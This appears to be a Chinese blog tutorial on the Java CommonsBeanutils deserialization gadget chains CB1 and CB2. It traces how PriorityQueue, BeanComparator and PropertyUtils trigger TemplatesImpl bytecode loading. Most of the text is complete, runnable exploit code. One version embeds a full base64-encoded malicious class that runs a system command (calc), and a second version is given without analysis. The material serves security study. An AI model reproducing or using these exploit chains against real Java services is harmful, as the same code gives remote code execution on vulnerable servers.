java反序列化之CB超详细易懂分析
- CB1
- 环境搭建
- 前言
- 分析
- PropertyUtils
- BeanComparator
- PriorityQueue
- CB2
- 环境搭建
- 前言
- exp
CB1
环境搭建
pom.xml
<dependencies>
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.2</version>
</dependency>
<dependency>` 1
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency>
</dependencies>
jdk1.8.0_65
前言
CB链主要是通过优先队列和TemplatesImpl类完成的,如果你学习了CC链,这个链子就是得心应手
分析
在怎么触发我们的TemplatesImpl的动态加载字节码的时候,这里我们不再选择触发newtransfrom,我们选择getoutputProperties方法,因为它是个getter方法
PropertyUtils
这个类相信已经很熟悉了,我们看到它的getProperty方法,这个方法详细追究的话可以获取传入对象的getter方法
public static Object getProperty(Object bean, String name)
throws IllegalAccessException, InvocationTargetException,
NoSuchMethodException {
return (PropertyUtilsBean.getInstance().getProperty(bean, name));
}
现在来调试分析一下
例子代码
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.PriorityQueue;
public class CB1 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException {
byte[] code = Base64.getDecoder().decode("恶意代码");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "xxx");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_bytecodes", new byte[][]{code});
PropertyUtils.getProperty(templates,"outputProperties");
}
public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
Class<?> clazz = obj.getClass();
Field fieldName = clazz.getDeclaredField(field);
fieldName.setAccessible(true);
fieldName.set(obj, value);
}
}
首先我们进入到
return (PropertyUtilsBean.getInstance().getProperty(bean, name));
PropertyUtilsBean的getPropert方法
public Object getProperty(Object bean, String name)
throws IllegalAccessException, InvocationTargetException,
NoSuchMethodException {
return (getNestedProperty(bean, name));
}
然后进入到getNestedProperty方法
public Object getNestedProperty(Object bean, String name)
throws IllegalAccessException, InvocationTargetException,
NoSuchMethodException {
if (bean == null) {
throw new IllegalArgumentException("No bean specified");
}
if (name == null) {
throw new IllegalArgumentException("No name specified for bean class '" +
bean.getClass() + "'");
}
// Resolve nested references
while (resolver.hasNested(name)) {
String next = resolver.next(name);
Object nestedBean = null;
if (bean instanceof Map) {
nestedBean = getPropertyOfMapBean((Map<?, ?>) bean, next);
} else if (resolver.isMapped(next)) {
nestedBean = getMappedProperty(bean, next);
} else if (resolver.isIndexed(next)) {
nestedBean = getIndexedProperty(bean, next);
} else {
nestedBean = getSimpleProperty(bean, next);
}
if (nestedBean == null) {
throw new NestedNullException
("Null property value for '" + name +
"' on bean class '" + bean.getClass() + "'");
}
bean = nestedBean;
name = resolver.remove(name);
}
if (bean instanceof Map) {
bean = getPropertyOfMapBean((Map<?, ?>) bean, name);
} else if (resolver.isMapped(name)) {
bean = getMappedProperty(bean, name);
} else if (resolver.isIndexed(name)) {
bean = getIndexedProperty(bean, name);
} else {
bean = getSimpleProperty(bean, name);
}
return bean;
}
因为我们的if都不成立,会来到getSimpleProperty(bean, name);
然后这个方法也是会经历一些if判断来到重点代码部分
PropertyDescriptor descriptor =
getPropertyDescriptor(bean, name);
if (descriptor == null) {
throw new NoSuchMethodException("Unknown property '" +
name + "' on class '" + bean.getClass() + "'" );
}
Method readMethod = getReadMethod(bean.getClass(), descriptor);
if (readMethod == null) {
throw new NoSuchMethodException("Property '" + name +
"' has no getter method in class '" + bean.getClass() + "'");
}
首先getPropertyDescriptor获取到我们的name就是
然后来到下一步
Method readMethod = getReadMethod(bean.getClass(), descriptor);
看名字都知道是获取bean类的方法
我们跟入进去获取到了getoutputproperties方法
来到
Object value = invokeMethod(readMethod, bean, EMPTY_OBJECT_ARRAY);
一看名字就是触发了,这样一来就触发了我们TemplatesImpl的getoutputProperties方法,然后加载我们的恶意代码
就分析完了是怎么去触发我们getter方法的
下面来到一个新的问题,是怎么触发我们PropertyUtils.getProperty方法的
BeanComparator
看到它的compare方法
public int compare( T o1, T o2 ) {
if ( property == null ) {
// compare the actual objects
return internalCompare( o1, o2 );
}
try {
Object value1 = PropertyUtils.getProperty( o1, property );
Object value2 = PropertyUtils.getProperty( o2, property );
return internalCompare( value1, value2 );
}
catch ( IllegalAccessException iae ) {
throw new RuntimeException( "IllegalAccessException: " + iae.toString() );
}
catch ( InvocationTargetException ite ) {
throw new RuntimeException( "InvocationTargetException: " + ite.toString() );
}
catch ( NoSuchMethodException nsme ) {
throw new RuntimeException( "NoSuchMethodException: " + nsme.toString() );
}
}
Object value1 = PropertyUtils.getProperty( o1, property );
就恰好可以,我们试着操作一下
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.PriorityQueue;
public class CB1 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException {
byte[] code = Base64.getDecoder().decode("恶意代码");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "xxx");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_bytecodes", new byte[][]{code});
BeanComparator beanComparator= new BeanComparator("outputProperties");
beanComparator.compare(templates,templates);
}
public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
Class<?> clazz = obj.getClass();
Field fieldName = clazz.getDeclaredField(field);
fieldName.setAccessible(true);
fieldName.set(obj, value);
}
}
运行确实弹出了计算器
那怎么触发compare方法呢?
PriorityQueue
还是我们的老朋友,readobject会一路触发到siftDownUsingComparator,然后调用我们的comparator.compare方法
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
所以我们只需要反序列化它就好了
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.PriorityQueue;
public class CB1 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException {
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAKQoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHACIBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAGPGluaXQ+AQADKClWAQANU3RhY2tNYXBUYWJsZQcAIAcAHQEAClNvdXJjZUZpbGUBAApDYWxjMS5qYXZhDAARABIHACMMACQAJQEABGNhbGMMACYAJwEAE2phdmEvbGFuZy9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwAEQAoAQAFQ2FsYzEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAgACQAAAAAAAwABAAoACwACAAwAAAAZAAAAAwAAAAGxAAAAAQANAAAABgABAAAACAAOAAAABAABAA8AAQAKABAAAgAMAAAAGQAAAAQAAAABsQAAAAEADQAAAAYAAQAAAAoADgAAAAQAAQAPAAEAEQASAAEADAAAAGUAAwACAAAAGyq3AAG4AAISA7YABFenAA1MuwAGWSu3AAe/sQABAAQADQAQAAUAAgANAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAGgASABMAAAAQAAL/ABAAAQcAFAABBwAVCQABABYAAAACABc=");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "xxx");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_bytecodes", new byte[][]{code});
// 1.PropertyUtils.getProperty(templates,"outputProperties");
// 2. BeanComparator beanComparator= new BeanComparator("outputProperties");
// beanComparator.compare(templates,templates);
BeanComparator comparator = new BeanComparator();
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add(1);
queue.add(2);
setFieldValue(queue,"queue",new Object[]{templates,templates});// 设置BeanComparator.compare()的参数
setFieldValue(comparator,"property","outputProperties");
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(queue);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
ois.readObject();
}
public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
Class<?> clazz = obj.getClass();
Field fieldName = clazz.getDeclaredField(field);
fieldName.setAccessible(true);
fieldName.set(obj, value);
}
}
当然这里有几个问题你可能很疑惑
1.为什么我需要先add无关紧要的东西
我前面讲cc2已经讲过,你可以去看看
2.为什么长度必须为2呢?
因为size要大于2才能比较啊,比较肯定是两个啊,不能自己和自己比
CB2
环境搭建
这就不需要我们的cc依赖了
前言
为什么会出现CB2,因为CB1还是需要cc依赖的,而我们的cb2根本不需要cc的依赖就能够实现我们的反序列化了
exp
就不分析了
public class CB2 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
byte[] code = Base64.getDecoder().decode("y...CABc=");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "xxx");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_bytecodes", new byte[][]{code});
//先传入property为空,防止add时触发PropertyUtils.getProperty()
BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
PriorityQueue queue = new PriorityQueue(2, comparator);
//此处应将CB1中传入的1,2改为String类型,不然会报java.lang.Integer cannot be cast to java.lang.String
queue.add("1");
queue.add("2");
setFieldValue(comparator,"property","outputProperties");
setFieldValue(queue,"queue",new Object[]{templates,templates});
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(queue);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
ois.readObject();
}
public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
Class<?> clazz = obj.getClass();
Field fieldName = clazz.getDeclaredField(field);
fieldName.setAccessible(true);
fieldName.set(obj, value);
}
}